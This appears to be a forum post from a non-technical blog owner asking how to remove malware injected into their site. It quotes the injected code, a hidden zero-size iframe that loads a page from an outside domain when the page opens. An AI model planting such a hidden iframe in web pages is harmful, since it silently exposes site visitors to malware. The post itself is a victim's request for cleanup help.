We have some sort of malware site that's attached itself to our blog. When you view the source for the site we see
<!--[if lte IE 7]>
<div id="ie_clear"></div>
<![endif]-->
<iframe frameborder="0" onload=' if (!this.src){ this.src="http://binglbalts.com/grep/"; this.height=0; this.width=0;} '></iframe>
I'm not a programmer or developer. I have no clue how to get rid of this. Can anyone plese help?
